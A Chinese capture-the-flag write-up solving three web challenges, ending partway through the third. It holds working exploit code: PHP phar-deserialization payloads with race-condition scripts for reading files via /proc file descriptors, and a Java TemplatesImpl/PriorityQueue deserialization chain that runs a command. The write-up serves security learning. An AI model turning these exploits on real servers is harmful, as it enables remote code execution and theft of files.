warmup-php 题目给出了附件 dockerfile
FROM php:7.2 .3 -fpmCOPY files /tmp/files/ COPY src /var/www/html/ COPY flag /flag RUN chown -R root:root /var/www/html/ && \ chmod -R 755 /var/www/html && \ chown -R www-data:www-data /var/www/html/uploads && \ sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ sed -i '/security/d' /etc/apt/sources.list && \ apt-get update && \ apt-get install nginx -y && \ /bin/mv -f /tmp/files/default /etc/nginx/sites-available/default && \ gcc /tmp/files/copyflag.c -o /copyflag && \ chmod 4711 /copyflag && \ rm -rf /tmp/files && \ rm -rf /var/lib/apt/lists/* && \ chmod 700 /flag CMD nginx&&php-fpm EXPOSE 80
进入后可以看到一个文件上传的页面,会将上传的文件存储到一个 md5 文件中
看一眼源代码可以发现里面还有东西
很奇怪哈,这里还有一个注释掉的 edit.php,我们发现我们可以对头像进行更改,试了试,直接用文件名可以换上
但是又发现直接使用绝对路径也可以
经过测试之后发现这里实际上存在任意文件读取
权限不够,并不能读 flag,不过我们可以读源码
index.php
<html> <body> 当前头像: <img width="50px" height="50px" src="uploads/head.png" /> <br/> <form action="upload.php" method="post" enctype="multipart/form-data" > <p><input type="file" name="file" ></p> <p><input type="submit" value="上传头像" ></p> </form> <br/> <form action="edit.php" method="post" enctype="application/x-www-form-urlencoded" > <p><input type="text" name="png" value="<?php echo rand(1,3)?>.png" hidden="1" ></p> <p><input type="text" name="flag" value="flag{x}" hidden="1" ></p> <!-- <p><input type="submit" value="更换头像" ></p> --> </form> </body> </html>
upload.php
<?php if (!isset ($_FILES ['file' ])) { die ("请上传头像" ); } $file = $_FILES ['file' ];$filename = md5 ("png" .$file ['name' ]).".png" ;$path = "uploads/" .$filename ;if (move_uploaded_file ($file ['tmp_name' ],$path )){ echo "上传成功: " .$path ; };
edit.php
<?php ini_set ("error_reporting" ,"0" );class flag { public function copyflag ( ) { exec ("/copyflag" ); echo "SFTQL" ; } public function __destruct ( ) { $this ->copyflag (); } } function filewrite ($file ,$data ) { unlink ($file ); file_put_contents ($file , $data ); } if (isset ($_POST ['png' ])){ $filename = $_POST ['png' ]; if (!preg_match ("/:|phar|\/\/|php/im" ,$filename )){ $f = fopen ($filename ,"r" ); $contents = fread ($f , filesize ($filename )); if (strpos ($contents ,"flag{" ) !== false ){ filewrite ($filename ,"Don't give me flag!!!" ); } } if (isset ($_POST ['flag' ])) { $flag = (string )$_POST ['flag' ]; if ($flag == "Give me flag" ) { filewrite ("/tmp/flag.txt" , "Don't give me flag" ); sleep (2 ); die ("no no no !" ); } else { filewrite ("/tmp/flag.txt" , $flag ); } $head = "uploads/head.png" ; unlink ($head ); if (symlink ($filename , $head )) { echo "成功更换头像" ; } else { unlink ($filename ); echo "非正常文件,已被删除" ; }; } }
很明显,我们要利用的点就存在于这里的 edit.php 了,但是看得很懵,看到上面的 flag 类的 copyflag,以及下面的 第一个 if,都提醒我们要构造一个 phar 文件来进行 phar 反序列化,
<?php class flag {} $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new flag ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
那么什么地方能触发我们的 phar 反序列化呢?
unlink($filename);
,fopen($filename,"r");
,filewrite($filename,"Don't give me flag!!!");
这个是自定义的函数 里面包含的两个函数都可以触发 phar,filesize($filename)
,但是我们可以发现,后面的三个函数都是存在于第一个 if 中的,而第一个 if 对 phar 有严格的过滤,那么我们能利用的也就只有下面一个 if 中的 unlink 了。
但是可以看到,最后是由一个 symlink 来进行头像的替换的,也就是建立一个符号链接,如果建立失败的话就会 unlink
那么现在我们要解决的问题就变成了如何使 symlink 失败,很奇妙的入口点
symlink 预期解 审计源码,我们可以发现超长的数据即可使 symlink 返回 NULL,进而进入 else,众所周知的小 tips:phar://phar.phar/xxxx,斜杠后面跟什么也不会影响 phar 协议了,用这里传入超长数据即可。
import requestsurl = "http://1f5be59c-bb5e-4b68-baf8-d334e3a86e04.node4.buuoj.cn:81/" sess = requests.Session() sess.headers = {"content-type" :"application/x-www-form-urlencoded" } url1 = url + "edit.php" data = {"png" :"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/" + 'A' *6000 ,"flag" :"flag{x}" } print (sess.post(url1,data).text)print (data)
通过 return 可以发现,此时我们已经触发了反序列化
接下来就是读文件,读文件也有几种不同的方法,一会儿再罗列
源码审计过程 看出题师傅的 WP 可以收获审计源码时的一种小思路。
因为这里我们的目标很明确,那么我们就可以通过重点关注 return 来进行审计,找到下面的部分。
关注如下部分
可以发现,这里 MAXPATHLEN
的数值是随系统环境改变的,我这里下载的源码为 PHP_WIN32_IOUTIL_MAXPATHLEN
最长为 2048
出题师傅大概是都看了一下,这里最小的 256,最大则是 4096,知道这里这个机制然后传入足够长的数据就好了
非预期解 条件竞争 symlink 不能创建同名的链接,所以这里我们可以通过条件竞争来导致同名链接中的其中之一返回 false
import requestsimport threadingimport timesess = requests.session() headurl = "http://1f5be59c-bb5e-4b68-baf8-d334e3a86e04.node4.buuoj.cn:81/uploads/head.png" editurl = "http://1f5be59c-bb5e-4b68-baf8-d334e3a86e04.node4.buuoj.cn:81/edit.php" def unlink (): sess.post(editurl, data={"png" :"phar://uploads/fe409167fb98b72dcaff5486a612a575.png" , "flag" :"" }) def symlink (): sess.post(editurl, data={"png" :"/tmp/flag.txt" , "flag" :"" }) if __name__ == "__main__" : for s in range (20 ): t1 = threading.Thread(target=unlink, args=()) t2 = threading.Thread(target=symlink, args=()) t1.start() t2.start() while True : flag = sess.get(headurl).text if "flag" in flag: print (flag) break
同时 flag 的读取也是可以通过 竞争来实现的,我们上面的方法也可以用条件竞争来实现读文件
import requestsimport threadingimport timesess = requests.session() headurl = "http://1f5be59c-bb5e-4b68-baf8-d334e3a86e04.node4.buuoj.cn:81/uploads/head.png" editurl = "http://1f5be59c-bb5e-4b68-baf8-d334e3a86e04.node4.buuoj.cn:81/edit.php" def symlink (): sess.post(editurl, data={"png" :"/tmp/flag.txt" , "flag" :"" }) if __name__ == "__main__" : for s in range (20 ): sess.post(editurl, data={"png" :"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/" + 'A' *6000 , "flag" :"" }) t = threading.Thread(target=symlink, args=()) t.start() while True : flag = sess.get(headurl).text if "flag" in flag: print (flag) break
预期读文件 我们一开始看题目源码的时候就会觉得很气怪,存在一段不明所以的内容
function filewrite ($file ,$data ) { unlink ($file ); file_put_contents ($file , $data ); } if (isset ($_POST ['png' ])){ $filename = $_POST ['png' ]; if (!preg_match ("/:|phar|\/\/|php/im" ,$filename )){ $f = fopen ($filename ,"r" ); $contents = fread ($f , filesize ($filename )); if (strpos ($contents ,"flag{" ) !== false ){ filewrite ($filename ,"Don't give me flag!!!" ); } }
这里实际上是可以被我们利用来进行文件的读取的,这里是出题师傅精心准备的点,和 hxp2021 中的 Nginx 的临时文件有异曲同工之妙。
这里我们利用 fopen($filename,"r");
打开了文件,这时就会在 proc 路径下生成一个临时文件,在这个临时文件中会留存有一个源文件的链接,就算我们后续对文件进行了新的操作我们也仍然可以在这个链接中读取到我们源文件的内容,在正确的用法中我们是应该使用 fclose
来释放掉我们开启的句柄的,但是题目中并没有及时释放,我们可以利用这一点来对我们打出来的 flag 进行读取,传入 $flag == "Give me flag"
利用下面这段代码我们可以得到一个 sleep(2)
的窗口期
if ($flag == "Give me flag" ) { filewrite ("/tmp/flag.txt" , "Don't give me flag" ); sleep (2 ); die ("no no no !" ); }
也就是
threading.Thread(target=edit,args=("/tmp/flag.txt" ,"Give me flag" )).start() for i in range (14 ,21 ): edit(f"/proc/{str (i)} /fd/5" , "G" ) fh = read() if "flag{" in fh: print (fh)
经过多台设备多次构造测试,pid 均在15-21 之间(ps -ef查找php-fpm进程),具体哪个文件链接到了 flag.txt 可以使用 ls -l /proc/{pid}/fd/ 来查看,这里我们利用读出来的源码和给的 dockerfile 进行测试即可
这一部分的调试过程类似 https://blog.zeddyu.info/2021/12/27/2021-12-20-ANewNovelLFI/
warmup-java 题目给出了 jar 包,在源码中我们可以鲜明的看到利用点,这里有了 InvocationHandler 和 invoke,我们立马就可以想到要利动态代理来进行反序列化的利用了,代理之后利用这里的 invoke 动态加载字节码就可以了。
要利用的点知道了以后,接下来就是要去找如何进行利用了,这个比较难。作为一个初学者,我对如何找对代理进行利用的点一点想法都没有… 不过,缝合就好了,1.8 版本的 JDK ,我们借鉴 CC4 ,以 PriorityQueue 为入口,在 comparator 类处实现代理。
整体的调用链如下
exp
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.math.BigInteger;import java.util.*;public class exp { public static class StubTransletPayload extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath((new ClassClassPath (StubTransletPayload.class))); CtClass clazz = pool.get((StubTransletPayload.class.getName())); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("sp4c1ous" ); TemplatesImpl tmplates = new TemplatesImpl (); setFieldValue(tmplates, "_bytecodes" , new byte [][] { clazz.toBytecode() }); setFieldValue(tmplates, "_name" , "HelloTemplatesTmpl" ); setFieldValue(tmplates, "_tfactory" , new TransformerFactoryImpl ()); Field name=Reflections.getField(tmplates.getClass(),"_name" ); Reflections.setAccessible(name); Reflections.setFieldValue(tmplates,"_name" ,"s" ); Reflections.setFieldValue(tmplates, "_tfactory" , new TransformerFactoryImpl ()); MyInvocationHandler s = new MyInvocationHandler (Templates.class); Comparator comparator = (Comparator) Proxy.newProxyInstance(exp.class.getClassLoader(), new Class []{ Comparator.class },s); PriorityQueue<Object> queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); Object[] queueArray = (Object[])(marshalsec.util.Reflections.getFieldValue(queue, "queue" )); queueArray[0 ] = tmplates; Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, comparator); System.out.print(Utils.objectToHexString(queue)); String data = Utils.objectToHexString(queue); new ObjectInputStream (new ByteArrayInputStream (Utils.hexStringToBytes(data))).readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
sorasy_php 题目给出了 class 文件夹内的附件,进入后看到
index.php
<?php spl_autoload_register (function($class ){ require ("./class/" .$class .".php" ); }); highlight_file (__FILE__ );error_reporting (0 );$action = $_GET ['action' ];$properties = $_POST ['properties' ];class Action { public function __construct ($action ,$properties ) { $object =new $action (); foreach ($properties as $name =>$value ) $object ->$name =$value ; $object ->run (); } } new Action ($action ,$properties );?>
我们可以实现任意类的实例化,同时可以通过 properties 数组实现任意参数的控制
可以在 给出的源码中看到继承关系,
TestView -> ListView -> Base Filter -> Base
同时可以在 base 中看到利用点
可以在 TestView 中看到两处调用
可以通过审计,找到这里任意调用 render 开头的方法的地方
但是这里是调用的空参方法,我们不能直接调用 renderTableRow($row)
,不过我们可以在下面的方法中找到对它的调用,不过这里要注意要传入一个 data 参数过 if
即可